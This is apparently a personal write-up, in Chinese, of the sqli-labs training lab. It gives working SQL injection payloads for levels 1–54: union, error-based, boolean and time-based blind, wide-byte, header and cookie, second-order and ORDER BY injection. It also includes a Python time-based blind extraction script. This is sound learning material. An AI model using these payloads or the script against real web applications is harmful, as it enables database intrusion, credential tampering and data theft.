- Less-1 **Error Based- String**
试了下单引号看到报错,直接用Union联合查询或是报错注入。
payload:
2221'union select 1,database(),user()%23
- Less-2 **Error Based- Intiger**
数字型,和第一题差不多。
payload:
-1 union select 1,database(),user()%23
- Less-3 Error Based- String (with Twist)
这题输入的参数多了括号包裹,不过根据报错的提示很容易判断。
payload:
?id=-1')union select 1,database(),user()%23
ps:如果没有报错可以通过:id=2'and'1'='1来判断。
- Less-4 Error Based- DoubleQuotes String
换成了双引号,其他没什么变化:
payload:
id=-1")union select 1,database(),user() %23
- Less-5 Double Query- Single Quotes- String
id登陆后没有回显了,不过报错还显示,这里选择报错注入或是盲注。
payload:
?id=-2'||updatexml(1,concat(0x7e,(select database())),1)%23
- Less-6 Double Query- Double Quotes- String
和上一题的区别是换成了双引号。
payload:
id=1"||extractvalue(1,concat(0x7e,(select database())))%23
- Less-7 Dump into Outfile
这一题的过滤规则让我疑惑了好一阵子。题目名是outfile,貌似是要我直接写shell进去。
我先探测了一下语句规则,发现页面提示的语法错误未必真的是语法错误,而是直接搜索结果为空,就会提示语法错误。(这一点误导了我好一阵)
继续测试发现'#'也被过滤掉了。
分析万规则后就可以直接通过盲注来做这题了。
payload:
id=2'and(binary(substr((select database()),1,1))>'r')or'1'='2
然后回去看代码,尴尬的发现自己判断错了。
这题不是过滤了'#',而是参数外套了双括号。。。
ps:要用outfile的话,要先在配置里打开文件权限。
- Less-8 Blind- Boolian- Single Quotes- String
这题加个单引号,然后是布尔型盲注。
payload:
id=1'and(binary(substr((select database()),1,1))>'s')%23
- less-9 Blind- Time based- Single Quotes- String
这题无论输入什么,返回的都是同样的结果。无奈之下回来看题目名称。基于时间的盲注。于是想到试一试sleep():
1'-sleep(21)%23
果然sleep()被执行了。
那就好办了:
脚本:
#coding=utf-8
import requests
import time
url="http://127.0.0.1/sqli-labs-master/Less-9/?id="
def getDatabase():
database=""
index=1
while(True):
for i in range(32,128):
payload="1\' and if(binary(substr((select database()),{},1))<=\'{}\',sleep(2),1)%23".format(index,chr(i))
#print payload
time_start=time.time()
requests.get(url+payload)
time_end=time.time()
if time_end-time_start>2:
database+=chr(i)
index+=1
break
print database
getDatabase()
执行的实在太慢了,其他的就不写了。
回来看源码:
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
$result=mysql_query($sql);
$row = mysql_fetch_array($result);
if($row)
{
echo '<font size="5" color="#FFFF00">';
echo 'You are in...........';
echo "
";
echo "</font>";
}
else
{
echo '<font size="5" color="#FFFF00">';
echo 'You are in...........';
//print_r(mysql_error());
//echo "You have an error in your SQL syntax";
echo "</br></font>";
echo '<font color= "#0000ff" font size= 3>';
}
}
else { echo "Please input the ID as parameter with numeric value";}
这题的sql语句没有特殊的地方,只不过执行结果没有区分,就让我束手无策了,果然历练不足。
- Less-10 Blind- Time based- Double Quotes- String
和Less-9差不多,只是单引号换成双引号
- Less-11- Error Based- String
换成post类型了。直接万能密码就能登陆,通过union来获取其他数据。
payload:
uname=test'union select user(),database()%23&passwd=2
- Less-12- Error Based- Double quotes- String
上一题换成双引号了,通过报错看到括号。
payload:
uname=test")union select database(),user()%23&passwd=admin
- Less-13- Double Injection- String- with twist
登陆成功关闭了回显,选择extractvalue报错注入。
payload:
uname=test')or(extractvalue(1,concat(0x7e,(select database()))))%23&passwd=admin
- Less-14- Double Injection- Double quotes- String
和13题差不多。同样报错注入。
payload:
uname=test"or(updatexml(1,concat(0x7e,(select user())),1))%23&passwd=admin
- Less-15- Blind- Boolian Based- String
感觉又是做过的题。没有报错回显,布尔型盲注。
payload:
uname=admin'and(binary(substr((select database()),1,1))>'r')%23&passwd=admin
- Less-16- Blind- Time Based- Double quotes- String
和15题差不多,找到语句规则后,继续布尔型盲注。
payload:
uname=admin")and(binary(substr((select database()),1,1))>'r')%23&passwd=admin
- Less-17 Update Query- Error based - Strin
这题看样子是个Update语句,输入一个用户名和一个新密码,就会修改对应用户名的密码,不太明白这题的目标是什么。
想了半天没想到该怎么注入,无奈看了答案,结果发现答案如此简单。。。
这题,对username做了过滤,passwd没做过滤。
注入点就在passwd,可以使用报错注入或是盲注,方法和select注入差不多。
payload:
uname=admin&passwd=admin'or(updatexml(1,concat(0x7e,(select user())),1))%23
- Less-18 Header Injection- Error Based- string
一个登陆框,可以用admin/admin登陆成功。试了下username和password,貌似没注入点。
发现返回了ip地址和User Agent,结合题目名称,看来是要向header里写东西了。
随便输入几个引号试了下,发现返回了:
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '"', '127.0.0.1', 'admin')' at line 1
看样子很像是插入语句的报错。
让我想起了做ctf时遇到过的二次注入,于是尝试把查询结果直接插入,发现失败了,返回的还是我插入的字符串。
题目名称是报错注入,那就用报错的方式做吧。
首先通过:
'-a()-'
得到数据库:security。
爆表格:
'-polygon(username)-'
得到table:uagents
爆字段:
'-(select * from(select * from uagents as a join uagents as b)c)='a
'-(select * from(select * from uagents as a join uagents as b using(id))c)='a
'-(select * from(select * from uagents as a join uagents as b using(id,uagent))c)='a
得到字段:id,uagent, ip_address...
后面就不会了~
无奈看答案,发现答案用了一种ExtractValue的方法。
这种方法用户对XML文档进行查询。
语法:extractvalue(目标xml文档,xml路径)
如果第二个参数我们写入的不是/xxx/xxx这种格式,就会报错,并且返回我们写入的内容。
类似语句:
extractvalue(1, concat(0x7e, (select @@version),0x7e))
拼接一个符号'~'和后面查询的内容,触发报错,返回查询的内容。
不过此方法限制长度32字节,可以结合substr等使用。
类似的用法还有updatexml()。
所以后面可以继续爆字段内容和其他表:
'-extractvalue(1, concat(0x7e, (select username from uagents limit 1,1)))-'a
学到了,学到了。
- Less-19 Header Injection- Referer- Error Based- string
注入点换成referer,其他没啥变化。
- Less-20 Cookie Injection- Error Based- string
注入点在cookie,就是cookie处的报错注入。
payload:
uname=a'and(updatexml(1, concat(0x7e, (select username from uagents limit 1,1)),1))%23
Less-21 Cookie Injection- Error Based- complex - string
还是cookie的报错注入,不过需要经过一层base64加密。
payload:
uname=YWRtaW4nb3IodXBkYXRleG1sKDEsIGNvbmNhdCgweDdlLCAoc2VsZWN0IGRhdGFiYXNlKCkpKSwxKSlvcicxJz0nMg==
#admin'or(updatexml(1, concat(0x7e, (select database())),1))or'1'='2
- Less-22 Cookie Injection- Error Based- Double Quotes - string
和Less-21差不多,换成双引号。
payload:
uname=YWRtaW4ib3IodXBkYXRleG1sKDEsIGNvbmNhdCgweDdlLCAoc2VsZWN0IGRhdGFiYXNlKCkpKSwxKSlvciIxIj0iMg==
#admin"or(updatexml(1, concat(0x7e, (select database())),1))or"1"="2
- Less-23 **Error Based- no comments**
过滤了注释符,继续报错注入。
payload:
?id=2'or(updatexml(1, concat(0x7e, (select database())),1))or'1'='1
- Less-24 - Second Degree Injections
有注册、登陆、重置密码功能。
看样子像是二次注入,首先尝试一次注册,发现注册后没有自动登陆,而是需要输入账号密码登陆,而回显是用户名,所以排除了插入用户时的注入点。
猜想有可能是登陆后重置密码代入了用户名造成的二次注入。但是这种注入我只想到用来修改管理员密码,貌似没法爆库。
为了验证猜想,先看了下代码:
发现注册用户时,对输入内容做了一个:mysql_escape_string()。
而在修改密码时,是直接从session里取出用户名。
看来没错了。
我先注册了一个用户:
test'or'1'='1'#
登陆用户后,修改密码为123。
然后数据库里所有密码都被修改了。
- Less-25 Trick with OR & AND
这题过滤了and和or,不过可以用||和&&替代,继续报错。
payload:
?id=2'||(updatexml(1, concat(0x7e, (select database())),1))%23
- Less-26 Trick with comments
首先判断注入类型,输入一个1'会报错,1和1"没问题,说明是字符型注入。
然后继续尝试发现注入了and和or,而且是替换为空的过滤,所以可以用复写来绕过。
看到过滤了空格,这里尝试了各种绕过,空格,特殊符号,都不适用。
看答案说是可以用%a0绕过,不过我的windows环境无法使用。
后来发现用括号可以,payload为:
?id=122'||(substr((select(database())),1,1))>'r
由于这题还有报错,所以还可以用报错注入的方式来做。
- Less-26a Trick with comments
这题我没做出来。
从这题能看出来,我一直以来的注入习惯都不太好,没有总结出一套系统的方案。
首先第一步,应该是判断注入点的类型,分别输入1,1',1"后发现,1'会报错,其他都是id=1的结果。
接下来,我就会直接去胡乱尝试,这其实是错的。(我尝试的结果是最后我以为是数字型注入,而且没发现过滤了#)
一直以来,我都没有想过参数被括号包裹的情况,这里实际上是需要测试一下的。
测试的方法是:
2'&&'1'='1
* 若查询语句为where id='$id',查询时是where id='2'&&'1'='1',结果是where id='2',回显会是id=2。
* 若查询语句为where id=('$id'),查询时是where id=('2'&&'1'='1'),MySQL 将'2'作为了 Bool 值,结果是where id=('1'),回显会是id=1。
这题用2'%26%26'1'='1即可得知题目是要先闭合前面的('。
接下来我应该筛一遍过滤,要不然就不会犯没注意到#被过滤的错误了,这个错误让我所有的判断都跑偏了。
payload:
?id=122')||(substr((select(database())),1,1))>('s
- Less-27 Trick with SELECT & UNION
这题过滤了select,union和空格,可以大小写绕过,空格可以用%0a或是空格。
payload:
?id=2'or(updatexml(1, concat(0x7e, (selEct%0adatabase())),1))or'1'='1
-
Less-27a Trick with SELECT & UNION和上一题相比关闭了报错,用盲注来做。
payload:
?id=2"and(binary(substr((selEct%0adatabase()),1,1))>'r')or"1"="2
- Less-28 Trick with SELECT & UNION
这题多了个括号包裹。
payload:
?id=2')and(binary(substr((selEct%0adatabase()),1,1))>'r')or'1'=('2
- Less-28a Trick with SELECT & UNION
直接用上题的Payload就行。
payload:
?id=2')and(binary(substr((selEct%0adatabase()),1,1))>'r')or'1'=('2
- Less-29 Protection with WAF
没感觉到什么waf,直接报错注入。
payload:
?id=2'or(updatexml(1, concat(0x7e, (selEct%0adatabase())),1))or'1'='2'%23
- Less-30
双引号的布尔型盲注。
payload:
?id=2"and(binary(substr((selEct database()),1,1))>'s')%23
- Less-31 FUN with WAF
加了个括号。
payload:
?id=2")and(binary(substr((selEct database()),1,1))>'r')%23
- Less-32 **Bypass addslashes()**
这题做着没有头绪,看了代码发现是做了addslashes,然后开启了gbk,那么这题是宽字节注入。
payload:
?id=3%df'or(updatexml(1, concat(0x7e, (select database())),1))%23
-
Less-33上一题的Payload就可以。
-
Less-34- Bypass Add SLASHES这题没做出来。看样子又是宽字节注入,但是换成了post类型,get型会通过URLencode,而post型不能这样用,要将urf-8转换成utf-16或utf-32,例如将‘转为 utf-16 为 �'。就可以将后面的\吃掉,password随便写。
payload:
uname=�'or(updatexml(1, concat(0x7e, (select database())),1))%23&passwd=admin
- Less-35 **why care for addslashes()**
这题普通的报错注入就行了。
payload:
?id=2 or (updatexml(1, concat(0x7e, (select database())),1))%23
-
Less-36 **Bypass MySQL Real Escape String*这题使用了mysql_real_escape_string过滤输入,一样可以宽字节绕过。
payload:
?id=2%df'or(updatexml(1, concat(0x7e, (select database())),1))%23
- Less-37- MySQL_real_escape_string
这题又是一个post类型的宽字节注入。
payload:
uname=admin�'or(updatexml(1, concat(0x7e, (select database())),1))%23&passwd=admin
- Less-38 **stacked Query**
payload:
?id=2'or(updatexml(1, concat(0x7e, (select database())),1))%23
- Less-39 **stacked Query Intiger type**
payload:
?id=2 or (updatexml(1, concat(0x7e, (select database())),1))
- Less-40 **stacked Query String type Blind**
这几题的关键就是判断语句形式,先判断出来单引号,然后判断括号。
payload:
?id=2')and(binary(substr((selEct database()),1,1))>'s')%23
- Less-41 **stacked Query Intiger type blind**
又是一个数字型。
payload:
?id=2 and (binary(substr((selEct database()),1,1))>'r')
- Less-42 - Stacked Query error based
这题折腾了许久,以为注入点在密码更新处,用宽字节去绕过,后来才发现这题不是gbk,而且注入点在登录处。
payload:
login_user=admin&login_password=admin'and(binary(substr((select database()),1,1))>'d')and'1'='1&mysubmit=Login
- Less-43
这题同样是登陆处的注入,报错注入。
payload:
login_user=admin&login_password=admin')or(updatexml(1, concat(0x7e, (select database())),1))%23&mysubmit=Login
- Less-44 - Stacked Query blind
和上一题相比关闭了报错,用盲注。
payload:
login_user=admin&login_password=admin'and(binary(substr((selEct database()),1,1))>'s')%23&mysubmit=Login
- Less-45 - Stacked Query Blind based twist
加了个括号。
payload:
login_user=admin&login_password=admin')and(binary(substr((selEct database()),1,1))>'r')%23&mysubmit=Login
- Less-46 ORDER BY-Error-Numeric
这题是order by的注入,因为有错误回显,可以使用报错注入。
payload:
?sort=4 or (updatexml(1, concat(0x7e, (select database())),1))
- Less-47 ORDER BY Clause-Error-Single quote
多了个单引号。
payload:
?sort=2' or (updatexml(1, concat(0x7e, (select database())),1))%23
- Less-48 ORDER BY Clause Blind based
这次关闭了报错,只能采用盲注的方法。选择基于时间的盲注。
payload:
?sort=1 and if((binary(substr((select database()),1,1))>'r'),sleep(1),0)
这里还有一种骚套路,可以用rand(True/False)来判断。
payload:
?sort=rand(binary(substr((select database()),1,1))>'r')
- Less-49 ORDER BY Clause Blind based
这里多了个单引号。
payload:
?sort=2'and if((binary(substr((select database()),1,1))>'s'),sleep(1),0)%23
- Less-50 ORDER BY Clause Blind based
继续报错注入。
payload:
?sort=1 or (updatexml(1, concat(0x7e, (select database())),1))%23
- Less-51 ORDER BY Clause Blind based
报错注入。
payload:
?sort=1'or (updatexml(1, concat(0x7e, (select database())),1))%23
- Less-52 ORDER BY Clause Blind based
盲注。
payload:
?sort=if((binary(substr((select database()),1,1))>'r'),sleep(1),0)
- Less-53 ORDER BY Clause Blind based
这题规则不太好判断。
因为order by ‘1’和order by '1#'是一样的。
payload:
?sort=1'and if((binary(substr((select database()),1,1))>'r'),sleep(1),0)%23
- Less-54:Challenge-1
题目类型变了,十次机会内拿到challengs库里的某值。
拿表名:
?id=122'union select 1,(select table_name from information_schema.tables where table_schema='challenges'),3%23
字段名:
(select column_name from information_schema.columns where table_name='snhkq3vdld')
值:
select secret_FCQS from challenges.snhkq3vdld